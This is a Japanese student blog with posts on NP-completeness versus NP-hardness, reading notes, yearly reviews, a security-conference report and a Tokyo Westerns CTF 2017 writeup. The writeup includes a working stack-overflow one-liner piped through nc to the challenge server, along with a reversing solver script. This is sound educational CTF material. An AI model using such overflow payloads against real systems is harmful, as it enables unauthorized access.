1日ひとつだけ強くなる

おべんきょうのーと

むしゃくしゃしたのでNP完全とNP困難の話をする

study computational_complexity books

はじめに

深夜3時. 大学院生は今日も不安を抱えながら勉強するふりをしている*1.

最近, NP完全とNP困難, NPに関して整理をした. 勉強していて驚いたことを紹介する.

発端は, WikipediaにあったNP困難について記載されているページの以下の一文である.

NP完全問題とは、NP困難であり、かつNPに属する問題である。

たしかに, 計算量理論の本とかwebを見ていると, NP困難な問題の集合はNPと交わっていて, しかもNPかつNP困難な問題がNP完全であるようなベン図の書き方になっている. しかし, NP困難とNP完全では, 変換と帰着で異なる操作を行っているはずである. (TODO: いい感じのベン図を書く)

事前知識

以下の文章では, オートマトンや決定性/非決定性チューリングマシンについての説明は行わない. 以下に参考書をあげておく.

ホップクロフトとウルマンの書いたオートマトンと言語理論の本. 全部読んだことはないが, オートマトンについて図式で説明があり, その拡張としてチューリングマシンの説明をしていた気がする.

オートマトン言語理論 計算論〈1〉 (Information & Computing)

オートマトン言語理論 計算論〈1〉 (Information & Computing)

オートマトン言語理論 計算論2 <第2版>

オートマトン言語理論 計算論2 <第2版>

GaryとJohnsonの黒い本. 特に事前知識を必要としないので, 英語に抵抗がない人にとっては読みやすいと思う. 上の本と併読するとチューリングマシンの説明で躓かずに済む(この本ではオートマトンについての説明がないため, 特に非決定性チューリングマシンの定義が上の本とは若干異なる).

Computers and Intractability: A Guide to the Theory of Np-Completeness (Series of Books in the Mathematical Sciences)

Computers and Intractability: A Guide to the Theory of Np-Completeness (Series of Books in the Mathematical Sciences)

判定問題, NP, NP完全, NP困難

まずは定義を簡単に説明しておく. 判定問題とは, 簡単には与えられた入力が, ある性質を満たしていれば1, 満たさないなら0を答える問題である.

問題\( \Pi \)が判定問題であるとは, 入力 \( x \in \Pi \) に対して, \( x \in \Pi_{\mathrm{yes}} \) なら1を, そうでないなら0を出力として求める問題である.

具体的な例として, 合成数判定問題がある. 合成数判定問題とは, 整数\( x \in \mathbb N \)が入力されたとき, \( x \) が合成数なら1を, そうでないなら (つまり, 素数であるなら) 0を出力とするような問題である. また, \( \Pi \) を判定するとは, 入力 \( x \in \Pi \) に対して, \( x \in \Pi_{\mathrm{yes}} \) なら1を返すことをいう.

次に, クラスNPについて説明する. NPとは, Non-deterministic polynomialの略で, 非決定性チューリングマシンで多項式時間で判定できる問題のクラスである. 非決定性チューリングマシンについての説明がない場合, 以下のように書かれることが多い.

判定問題 \( \Pi \) とする. 入力 \( x \in \Pi \) に対して, 任意の解の候補\( w \)が与えられたとき, 多項式時間で検証できるならば, \( \Pi \) はNPに属するという.

例として, 先ほど挙げた合成数判定問題を考えてみる. ここでは, 整数 \( n \in \mathbb N \) に対して, \( n \) が合成数のとき, \( w \) として \( n \) を割り切る数が与えられたと考える. 具体的には, 10が入力とすると, 解の候補として2が与えられたとき, 10は2で割り切れるので合成数であることが確かめられる. 一方で, 解の候補として3が与えられたとき, 10は3で割り切れないので, 3は不適切な候補だったことが確かめられる.

クラスNPの定義は, 合成数でない入力, 即ち \( x \in \Pi_{\mathrm{no}}\) (これは今の例でいえば \( x \) が素数であることを検証することに対応する) となるような入力について, 多項式時間で検証できるということを主張しているわけではない, ということに注意されたい. この記事の主題から外れるため本稿では触れないが, co-NPというクラスはそのような入力に対して, 多項式時間で検証できるような問題の集合として定義される.

NP完全とNP困難

判定問題 \( \Pi \) が以下を満たすとき, \( \Pi \) はNP完全であるという.

  • \( \Pi \in \) NP
  • 任意の\( \Pi' \in\)NPの入力\( x \in \Pi'\)に対して, \(x \in \Pi'_{\mathrm{yes}} \)であるとき, かつそのときのみ\(f(x) \in \Pi_{\mathrm{yes}} \)となるような変換\(f\) が存在し, \( f \)は決定性チューリングマシンで多項式時間で計算できる.

NP完全の定義が要求するのは, ①NPに属していることと, ②任意のNPに属する問題について, \(f\)の入力が\( \Pi'_{\mathrm{yes}}\)に入っている(yesインスタンスと呼ぶ)とき, かつそのときのみ \(\Pi\) のyesインスタンスに写すような変換\( f \)が存在すること, の2つのみである(また, このfを多項式変換とよぶ).


対して, NP困難の定義を見てみよう. ところで, ここでは(あとで説明する都合上)判定問題についてのNP困難の定義について述べる.

判定問題 \( \Pi \) が以下を満たすとき, \( \Pi \) はNP困難であるという.

  • \(y \in \Pi\) に対して, \(y \in \Pi_{\mathrm{yes}}\) なら1, そうでないなら0を返す関数 \(g \colon \Pi \to \{0, 1\}\) が定数時間で計算できるとする. 任意の \( \Pi' \in\) NPに対して, \(g\) を用いて多項式時間で判定できる

ここで, \(g\) を使える以外の計算は決定性チューリングマシンと同じ操作しか出来ないものと考える.

明らかに, 問題 \(\Pi\) がNP完全ならば, \( \Pi \in \) NPかつ \(\Pi\) はNP困難である. 方針としては以下のとおりである.

NP完全性より, 任意の \(\Pi' \in\) NPのyesインスタンスから, \(\Pi\) のyesインスタンスに移すような多項式変換 \(f\) が存在する. \( x \in \Pi\) に対して \(x \in \Pi_{\mathrm{yes}}\) なら1, そうでないなら0を返す関数 \(g \colon \Pi \to \{0, 1\}\) を1回だけつかうことで, 任意の \(\Pi' \in\) NPを判定することができる. よって \(\Pi\) はNP困難.

しかし, 逆は未解決問題である*2. NP完全性を示す際には, 入力から入力へ写すような変換を計算するだけだった. 対して, NP困難性を示す際には, 定数時間で答えを返してくれる関数 \(g\) (オラクルという)を多項式回だけ使うことができるため, より強力な操作が可能なのである. 定義から考えると自然っぽいのだが, 意外と知られていないのではと思う. 僕も勉強するまで知らなかった. つまり, NPかつNP困難な問題の集合とNP完全な問題の集合の間には, 何があるかわからない(ないかもしれない)未解決な闇があるのだ. なんかかっこいい. 多分下の図のような感じ.

f:id:hal0taso:20180927194731p:plain:w300


ここで, 発端の話題に戻ると,

NP完全問題とは、NP困難であり、かつNPに属する問題である。

という主張は, "NP困難かつNPに属するならNP完全である" というふうに読めるので修正したほうがいいのでは. と思ったという話(気が向いたら修正の要請を出そうかと思います).


むしゃくしゃしてブログ書いてたら1時間半も経過してた....*3*4

*1:研究しろ

*2:B. Korte, J. Vygen, "組合せ最適化: 理論とアルゴリズム", 丸善出版

組合せ最適化 第2版 (理論とアルゴリズム)

組合せ最適化 第2版 (理論とアルゴリズム)

*3:勉強している途中なので定義とかが曖昧になっていて良くない

*4:他にも注釈に入れた本にはNP困難な問題についての面白い結果がたくさん書かれているので, おすすめです

ゲーム理論に関する読書メモ

books game_theory study

ゲーム理論に興味が出たので勉強することにした. 以下は読んだ本のまとめを随時載せていくことにする.

岡田輝, ゲーム理論(有斐閣)

ゲーム理論 新版

ゲーム理論 新版

読書メモ

ゲーム理論 1. 概論 - HackMD

計算量理論に関する読書メモ

books computational_complexity study

こんにちは.

卒業研究も一息つき, 春休みがやってきました.

論文を読んでいる中で, 難しい問題を取り扱っていると, その問題の難しさに関する論文や, その問題がどれくらい難しい問題なのかというのを理解するために, 計算量理論を勉強しないとなぁと感じていました.

というわけで, 卒論 & 修論が終わったので, 昨日(2/17)から研究室の先輩と一緒にgarey and johnsonの"Computers and Intractability"を読んでいこうと思います.

Grey, Johnson, "Computers and Intractability"

Computers and Intractability: A Guide to the Theory of Np-Completeness (Series of Books in the Mathematical Sciences)

Computers and Intractability: A Guide to the Theory of Np-Completeness (Series of Books in the Mathematical Sciences)

この本, 自称入門書なので, 事前知識がない人でも多分読めると思います. オススメです. (情報科学やってる先生に「計算量とかNP-completenessの話を理解したい」と聞くと多分これを読めと返ってくるくらいの名著です)

このブログページは以下のような読書メモのリンク置き場として機能する予定です.

読書メモ

1. Introduction

hackmd.io

2. Cook's Theorem

工事中です

2017年の振り返りと2018年の抱負

2017

大学の諸々

春は研究室に配属された。大学では、「暗号理論と離散数学」、「セキュリティ基礎論」を受講しました。

暗号を初めて勉強したのがこの時なので、最初は苦戦しましたが、講義を受けて課題をちゃんと解いていくとだんだん理解が深まりとても興味を惹かれました。思えば、今研究で暗号をやっていることを考えると、この時にこの講義を取らなかったら今は何をしているのか何もわからないです。

暗号理論と離散数学

代数の基礎と公開鍵暗号を勉強しました。その他暗号に関する様々なアルゴリズムを学びました。

セキュリティ基礎論

大学院の情報セキュリティのプログラムにSecCapというものがあるんですが、これの学部版が始まるという話を聞いて受講することにしました。 共通鍵暗号とかRSA暗号の実装、マルウェアの解析、モバイル/IoT/車のセキュリティについての講義がありました。いろんな話を広く浅く聞くことができるので、僕みたいな外の分野から来てセキュリティの勉強をしたいという人にはオススメのプログラムかと思いました。

研究室

ここまで今年1年自由に過ごせたのは今の研究室のおかげというのもある。とても自由な環境で、自席の横にホワイトボードもあり、先輩たちとも数学や研究、将来に関して議論をできる環境だったので、自分にとても合っていた。

研究も今はとても面白いと感じていて、サーベイからテーマの提案まで自分でできるし、困った時には指導教官が助け舟を出してくれる。

こんな感じで勉強メモをhackmd.ioに書いているので、諸々落ち着いたらサーベイとか読んだ論文とかのまとめを見れるようにして公開したいと思っている。

hackmd.io

セキュリティキャンプ

セキュリティキャンプでは解析トラックの課題と講義を受講しました。応募課題に取り組む前はほとんど何もわからない(興味はあるし、エクスプロイトの初歩はCTF等で知ってはいたものの、どれも初めて取り組むものでした)状態でしたが、大学4年ということで自由な時間が多く、書籍やドキュメント、海外の解説記事等を読みながらやるとなんとか概要を知った気になれました。

hal0taso.hateblo.jp

事前課題も同様に大変なものが多く、大変チャレンジングな時間を過ごさせてもらいました。

当日は正直内容が濃すぎて、毎日必死でついていくのに必死でした。

hal0taso.hateblo.jp

実はその直前にもミニキャンプ神戸に参加していました。ここでも新しい話とか、触ってみようと思って触れていなかった エクスプロイト、ツールを試すことができてとても楽しかったです。

hal0taso.hateblo.jp

院試

受かってよかった。テーマを決めたのが院試後だったので、複数の大学院を受けておけばよかったなぁと思った。

CODE BLUE / AV TOKYO

今年も行って来た。CODE BLUEは去年よりも話してる内容を理解できたし、面白い研究内容とかハックの話を聞けてよかった。

感想は以下のリンク。セキュキャン等での友人たちとのオフ会という感じだった。

hal0taso.hateblo.jp

CTF

春〜夏は少しできていたけど、後期は全然できていなかった.... 知らないことは知らないと解けないし、頭を使っていないと咄嗟に手が動かないので、来年は少しずつでもいいのでCTFの問題を解いていきたい。

最近はpwnだけでなくcryptoとかも気になっているので、少しずつ勉強していくぞ！という感じ。

今年はkatagaitaiCTF勉強会 #9に行った。DonnBeachのwrite upまだ書けてない...

久しぶりにクリスマスにCTFをしたらめちゃくちゃ楽しかったけどあまり解けなかった...悔しい。

2018

2018年はたくさん学びたいことがある。今は研究テーマの分野しか論文を読めていないが、もっと広く学ぶ年にしたい。研究テーマの論文だけ読んでいても周辺知識がないとその流れとか、実装の際に何を気をつけなければいけないか、ということが見えてこないので、実装の面でも理論の面でもいろんなことに取り組む1年にしたい。

具体的には

数学

線形代数のアルゴリズムや各種基本形など、ツールとしてどう使えるのか、ということを知っておく必要があるように思う。アルゴリズムならその計算量と実装とか。

あとは離散幾何学とか整数線形計画問題の基礎を学ばないとなぁと思う。これは、いろんなアルゴリズムのアイデアはこの辺から生まれているものも多く、汎用的かつ基礎的なことを知っておきたいと思う。

開発

確率分布に従う乱数生成の実装とかしたい。最近正規分布の乱数生成の実装とかやってみると面白いんじゃないかなぁと思っている。実装の手法にも複数あって、有名なのはボックス＝ミュラー法とか？？あまり詳しくないが、自分が興味を持っているのはZiggurat samplingという手法で、車輪の再発明ではあるかもだけど、面白そうだからやりたい。

CTF

過去問とかを解きつつ、常設CTFの問題を少しずつ挑戦してみようと思う。最初に挑戦したwargameが常設のもので、そこで詰まったら検索するなり、フォーラムでヒントを調べながら解く、というのが楽しかった。

インターン

インターン行きたいです。研究系のインターンに行きたい....

やりたいことが多すぎるので、少しでも実現できるように頑張ろうと思う。今年もよろしくお願いします！！！

CODEBLUEとAVTokyoに参加して弊オタク満足した

event security poem

CODE BLUE

11月8日~10日に情報セキュリティの国際会議CODE BLUEの学生スタッフとして参加してきました。

codeblue.jp

2日間あるうち、1日はスタッフとして業務、もう1日は参加者として自由に聴講したり、コンテストに参加したりできます。

私は9日にスタッフとしての業務、10日は発表を聞いていました。

CODE BLUE (Day0)

初日は学生スタッフとコアスタッフ、スポンサー企業さんとの顔合わせです。会場でやってたサイバー犯罪トラック、めちゃくちゃ聞きたかった....

去年の学生スタッフやセキュリティキャンプ等でリアル、インターネットで知っている人が多かったです。夜はスタッフ各位と優勝しました。オタクが集まって「これだからオタクは〜〜〜」と互いに言い合っており、地獄のような空間になりました。(とても楽しかったです)

CODE BLUE (Day1)

この日はTrack2のスライド送りをしていたので、他の人々に比べて比較的発表を聞く余裕があったと思います。

坂井さんによる"Step-Oriented Programmingによる任意コードの実行の可能性"、"Man In the NFC"、"事例から考える脆弱性と法"、@と@による"産業制御システムに対するStuxnet以来最大の脅威"、Christy Quinnによる"アルファベイ・マーケット - サイバー犯罪主導者を振り返る"を聞きました。(といっても後ろの2つ以外は業務のためちゃんと聞けていませんが...)

Industroyerの話は興味深かったです。というのも、少し前に産業制御システムのセキュリティについて少し調べて見た時があったためです。しかし、CPSセキュリティに関する情報は国内のものはあまり出回っておらず、何が問題で何を改善しないといけないのか、現状そのセキュリティはどうなっているのか、攻撃の目的等、不明な点が多かったため、今回の発表に期待していました。実際はIndustroyerという産業制御システム向けのマルウェアについて解析したレポートでした。雑なメモをgistで公開しています。

CODE BLUE 2017 · GitHub

あとで調べてみたらこれっぽい。

www.welivesecurity.com

Day2に知り合いの参加者の方々に日本のシステムと海外のシステムではそもそも状況が全く異なること、その他内部事情などを聞きましたが、正直さらに国内の産業制御システムにおいて求められるセキュリティというのがわからなくなりました。今度某発電所に行くのでちょっと聞いてみようと思います。

CODE BLUE(Day2)

この日は最初の@による""商用ホワイトボックス暗号方式" に対する "鍵回復攻撃""を聞くために早起きしました。最近暗号について勉強していたので興味を持ったのと、ホワイトボックス暗号は名前こそ聞いたことはあったものの、どのようなものか、どんな利点があるのか等については知らなかったためです。

そんなホワイトボックス暗号ですが、概要としては以下の通りです。

例えばスマホなどのアプリケーション中で暗号化を用いる際に、

  • 鍵はアプリケーションに保存されていて、その鍵を見つけることは(メモリダンプなどにより)容易である
  • 攻撃者はエンドポイントを直接攻撃することによって暗号システムを完全に制御することが可能となる
  • その結果、デバイスやコンテンツの所持者が攻撃者となってしまう

という問題があり、そのような問題を解決するために数学的に暗号アルゴリズムを難化させたものがホワイトボックス暗号(以下WBC)と呼ばれます。学術的なWBCの実装は破られているものの、商用のWBCに対しての攻撃成功事例は少ないとのことです。今回の発表はサイドチャネル攻撃を用いて攻撃/分析してみたという内容と、WBCが破られないためには何に気をつけるべきか、という発表でした。発表の雑なメモをこちらもgistにあげているので、興味のある方はどうぞ。

CODE BLUE 2017 · GitHub

そのあとは主にAndroidカーネルに関する発表を聞いていました。お昼はCBCTFや攻殻CTFを見学しにいってきました。

午後は@くんの発表を聞いて、最後にgeohotの"Jailbreaking TOYOTA and HONDA Car"を聞きました。いやすげぇ。 自動運転はまだまだ発展途上ですが、これをオープンソースで育てていこうってのがとても好きです(こなみですいません...)

ここら辺チェックしておこう〜って思ったのと、自動車もリバースエンジニアリングできたりすると楽しそうなので免許取ろうと思いました。

github.com

ネットワーキングパーティーでは以前お世話になった方々に挨拶をしたり、暗号のプロ@にお話を聞くことができました。やはりプロの人たちは圧倒的分量をこなしているなぁ〜と刺激を受けました。最近頑張っているつもりだったけど全然足りてないので精進したいと思います。

AVTokyo

その翌日の11日はAVTokyoというCODE BLUEよりもよりカジュアルな会に参加していました。昼からお酒を飲みながら情報セキュリティについて語ろうという会です。オタクがたくさん集まっており、いろんなオタクを特定して回りました。ほとんどxINT CTFをしていたため、あまり発表は聞けませんでしたが、唯一ちゃんと聞いたradare2の発表はとても楽しく、豊富な機能について説明されていてとても好奇心を刺激されました。もっといろんな機能を使いこなせるようにバイナリ解析もやっていこうと思います。

xINT CTFは途中HITCONに続く2位まで上り詰めたものの、最後の1時間くらいは問題が解けていなかったのと、ヒントを使ってしまったためランク外に飛ばされてしまいとても悲しかった.... 今年は外にでるミッションもなく、平和で楽しいCTFでした。wifiや電源タップ等があれば...とも思いますが、あれだけの人数が利用できるようにするのは厳しそうなのでせめてwifiだけでも利用できると嬉しいです(AVNOC発足？？？)

もらったバッジはボタンを増設して、書き込まれたプログラムの解析に挑戦しているところです(といっても解析のスタートにも立てていないですが...) 赤外線の送信機/受信機があるそうなのでそれも使えないかなぁと考えています。

最後に

いろんなオタクたちと話せてとても楽しい4日間になりました。こうやって技術や興味のある分野について話し合える場があるというのはとても嬉しいです。これからも精進します。

f:id:hal0taso:20171113005957j:plain

Tokyo Westerns CTF 3rd 2017 writeup

CTF python writeup

はじめに

2日間大学の集中講義でJAISTにいたので一人でゆっくり参加しようと思ったが、バイト先の先輩同期でチーム組んで参加してた。

チームiで得点は146点、180位だった。うちWelcome!とrev_rev_revとjust do it!を解いて59点入れた。精進したい。

pwn warmup: just do it!

pwnのwarmup問題。実行するとパスワードを聞かれる。0x20バイトだけfgets()で読んでいるが、スタックに間違った時にputs()で表示される文字列が積んであり、スタックに積まれたバッファのアドレスと0x14バイトしかない。また、bssセクションを読むとflagという領域があって、どうやらグローバル変数flagにフラグの内容を書き込んでいるっぽい。なので、0x14バイト+flagのアドレスを入力すればいい。

> python -c "print 'A'*0x14 + '\x80\xa0\x04\x08'" | nc pwn1.chal.ctf.westerns.tokyo 12482
Welcome my secret service. Do you know the password?
Input the password.
TWCTF{pwnable_warmup_I_did_it!}

rev warmup: rev_rev_rev

逆アセンブルしたものを読むと、1つ目の関数は文字列の長さ取得、2つめは文字列を逆順に変換、3つめは入力文字1バイト(c)ずつに対して以下の処理

c = ((c & 0x55) << 1) | ((c >> 1) & 0x55)
c = ((c & 0x33) << 2) | ((c >> 2) & 0x33)
c = ((c & 0xFF) << 4) | ((c >> 4) & 0xFF)

4つめはちゃんとデコンパイルしてないけど、途中3つ目の関数デコンパイルして4つ目の関数調べてる最中に、1バイトずつ処理してる上に他の入力に依存しないじゃん！と思って、全部の文字を変換してみた。出力はltrace使うと見れる上、strcmp()で比較している文字も確認できる。pythonに渡して脳死でスクリプト書いたらフラグが降ってきた。

# -*- coding:utf-8 -*-

s = 'abcdefghijklmnopqrstuvwxyz'
s_k = "\241a\341\021\221Q\3211\261q\361\t\211I\311)\251i\351\031\231Y\3319\271y"

dict = {}
for i in range(len(s)):
    dict[s_k[i]] = s[- i - 1]

S = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ'
S_k = "\245e\345\025\225U\3255\265u\365\r\215M\315-\255m\355\035\235]\335=\275}"

for i in range(len(S)):
    dict[S_k[i]] = S[- i - 1]

N = "~`!@#$%^&*()_+1234567890-="
N_k = "CK\363c\343\023\223S\3233\263s+\005k\353\253\233\205[\333;\375{\371\201"

for i in range(len(S)):
    dict[N_k[i]] = N[- i - 1]

flag = ''
flag_k = "A)\331e\241\361\341\311\031\t\223\023\241\t\271I\271\211\335a1i\241\361q!\235\325=\025\325"

dict['A'] = '}'
dict['!'] = '{'

for i in range(31):
    flag += dict[flag_k[i]]

print(flag[::-1])

> python3 solve.py 
TWCTF{qpzisyDnbmboz76oglxpzYdk}

2017年の夏休み(8,9月)まとめ

poem

学部での最後の夏休みが終わった。進路と近況報告、あとは備忘録的に8,9月のまとめ

8月

大学院に合格した

大学院に合格した。大阪大学の情報科学研究科に進学が決まった。研究テーマはまだ決まってない

期末試験

院試の直後に情報系の学科の離散数学と暗号理論の期末試験があった。正直院試があったので直前1日しか勉強してないが、それまでの課題等は真面目にこなしていたので特段難しい問題はなかった。成績はBだったから、まぁそんなもんだろう。もっとがんばれたような気もするけどそれは今後頑張ればいいかと思った。どうせ専攻違う科目なので卒業要件には入らないし気にならない。

セキュリティ・キャンプ全国大会2017に参加した。

院試と期末が終わってからはセキュキャンの事前課題に追われていた。当日何してたかは以下のエントリを見て

hal0taso.hateblo.jp

katagaitai勉強会に参加した。

katagaitai CTF勉強会 #9 - 関東|easyに参加した。rev問実はまだ手をつけたまま復習が途中になっている。独自VM問題はVMの命令セットを解読するのにめちゃくちゃ気合がいるので、効率よく特徴をつかむことが必要かも知れない。

speakerdeck.com

9月

twctfに参加した。

twctfにバイト先の仲間と参加した。warmup2問くらいしか解けなかった。writeupはこちら。

hal0taso.hateblo.jp

ここで解けなかったpwnの3問も復習がまだ1問しかできていない。がんばる。

BasicSecCapがおわった

専攻外だけど履修してたBasicSecCapの講義が終了した。2,3日にはJAISTでMathematicaを使って秘密分散の実装と、攻撃を行う演習に取り組んだ。BasicSecCapや離散数学と暗号理論の講義を通して、暗号や代数の基礎的なところを勉強することができてよかったと思う。正直これまで大学で受講した講義の中で満足度が一番高い講義だった。今考えると講義の演習でとけなかった問題とかは、どのみち勉強しないと行けないことだなぁと思った。頭良くなりたい。

具体的にはこんなプログラムが組まれているので、来年度以降で受講に興味ある人は調べてみるといいかも。

cy2sec.comm.eng.osaka-u.ac.jp

マルウェア解析の講義は一部toggeterでまとめました。来年はプログラム編成変わるので参考になるかわかりませんが。

togetter.com

バイト先のメンツでBBQをした

楽しかった。いい休日だった。リア充っぽかったけどそこにいたのは皆オタクでした。

研究テーマっぽいのが決まりそうになった

弊研究室の専門は数理最適化、統計、グラフ理論とかなんだが、耐量子暗号をすることになった。一応、調べてみると離散最適化の話との関連があったり、機械学習とも関連があったり。とはいえ、まだ基礎の勉強ばかりで離散幾何の本を進めるくらいしかしてないけど。実験系というよりは理論に近い分野だと思う。流行りの分野ではあるが、最近の話が多い。

正直今考えると学部3年のときはpracticalなことに取り組みたいと思っていたんだが、理論に近いことをすることになるとは思わかなった。感化されやすい人間なので、研究室に理論つよい人がいたというのはとても大きい要因だと思う。

サーベイ読み始めた

完全に出遅れ感あるが、大学院進学前提の大学はこんなもんだろうと思い聞かせている。90ページくらいある去年にでたサーベイを読んでいる。今3章の基本的な問題を紹介する章までよんだ。4章は最近の研究に使われている基礎なので、そこまで理解できれば最近出ている論文も理解できるくらいになるだろう。最後の章にあるOpenQuestions読んだけどなにもわからないということがわかった。

A Decade of Lattice Cryptography (Foundations and Trends in Theoretical Computer Science)

A Decade of Lattice Cryptography (Foundations and Trends in Theoretical Computer Science)

Amazonで本も販売されているが、ググれば元のサーベイのpdfが出てくる。興味ある人は一読してみるといいかも知れない。

離散幾何学講義を読んだ

丸善の黄色い本。2章だけ読んで証明とか追ってみた。初学者向けなのでオススメ。

離散幾何学講義

離散幾何学講義

LLLアルゴリズム

LLLアルゴリズムの勉強と実装をしている。今は2次元の基底簡約まで理解したが、n次元への一般化のところやアルゴリズムが多項式時間で停止することの証明を理解するのに苦しんでいる。 Pythonでnumpyとsympyをつかって2次元の基底簡約を行うアルゴリズムを実装したが、これはやるだけだった。Mathematicaだと行列演算が楽だったことを思い出し、Mathematica使いたくなった。sageでlllがビルトインで実装されているので、sageで実装してみて評価を行いたいと思っている。

バイト先でLTした

バイト先の十数名かで集まってLTをした。僕はリバーシング入門ということでハリネズミ本参考にしながらLTしようと思ったんだけど、そもそもバイナリを読む前の前提知識(仮想メモリとかレジスタとかスタックフレームとか)がたくさん必要なことに直前になって気づいた。入力を逆順にしてXORするだけの簡単なrev問書いたけどループ処理とかのとこまで話せなかった。20分とかでやるものじゃないなと思った。

久しぶりにガンプラ組んだ

何年ぶりかわからない。小学生か中学生のときにガンプラ組んだとこあった記憶はあるが、そのあとはまったくなかった。最近ガンダムを見始めたせいで、ガンプラを組みたい気持ちが高まり、RGダブルオーライザーを買ってきて素組とスミ入れまで完成させた。つや消しでフィニッシュしたかったが、最寄りの専門店になかったのでこんどヨドバシいったときにでも探しに行く予定。充実した休日になった。

まとめ

こうやって思い返すとこの2ヶ月何やってたか見えてくるので良いと思った。思ったより進捗は出てない気もする。8月は院試、期末、セキュキャンとあとBasicSecCapがほぼ毎週あった。9月は本一章読んで理解してサーベイを3章分読んだくらい。何もしてない気持ちがしてきた。最近はもっぱら暗号とか数学をしていて、PCでやることといえばスライド作るかtex書くだけみたいになってきた。進捗が出てきて落ち着いたら院試終わりのご褒美に買ったx86エミュの本とかやりたいしCTFをやりたい。

来月の目標(追記)

振り返りポエムを書くだけ書いて満足してしまっていた。来月やりたいことは以下のとおり

サーベイの4章まで読んで見る

とりあえず最近の動向を知るの大事

LWE格子暗号やRing-LWE格子暗号について勉強する

最近PQCryptoという耐量子暗号カンファレンスで、グローバーのアルゴリズムを用いて基底簡約を行うLWEへの攻撃手法が発表されたらしく、それを読んでみたいと思っている

楕円曲線暗号

ところで量子コンピュータで実現されるShorのアルゴリズムによってRSA暗号が破られるというのは有名な話だが、なぜこのようなことが可能なのだろうか？？それを理解するためには楕円曲線上での離散対数問題の理解が必要である。ということで勉強する。

量子コンピュータ

量子コンピュータを使ったアルゴリズムを理解し、構築するためには量子コンピュータについて学ばないと行けない。幸い、学ぶべきことははっきりしているし、量子力学ほど挙動を詳細に考えることでもないだろうと思っている。 勉強するのに慶応が出してる以下の講義動画を見ている。

www.youtube.com

このシリーズは全15回を通して量子コンピュータで何ができるのか？その基礎と応用について触れている。幸い、動画なのでご飯食べながらでも見ることができる。とてもいい時代になった。

TWCTFの復習

先程書いた。その周辺にもいい練習問題があるそうなので、それにも取り組む予定。欲をいえばpwnable.twとかも取り組んでいきたい。

katagaitaiでのrev問題(DonnBeach)の復習

これは正直めちゃくちゃ根気がいる気がする。独自VMを書いてみて、それを練習問題にしてみてもいいかも知れない。

x86エミュレータ本

プラモ作ってて思ったけど、プラモデルも本も、書いてある手順通りにパーツを組み立てていくという過程は同じである。最初はよくわからないことも、全体像が見えてくる頃には、感覚がつかめているものである。まずは手を動かしてみることが大切ではないかと思う。

健康な生活を送る

最近ビタミンCのサプリを買った。自炊にしろ外食にしろ、一人暮らしだと十分な栄養を摂取することは難しい。去年は毎日キレートレモンを飲んでいたが、毎日あれ買ってたらコスパ悪いのでサプリ買ってみたので、健康に気をつける。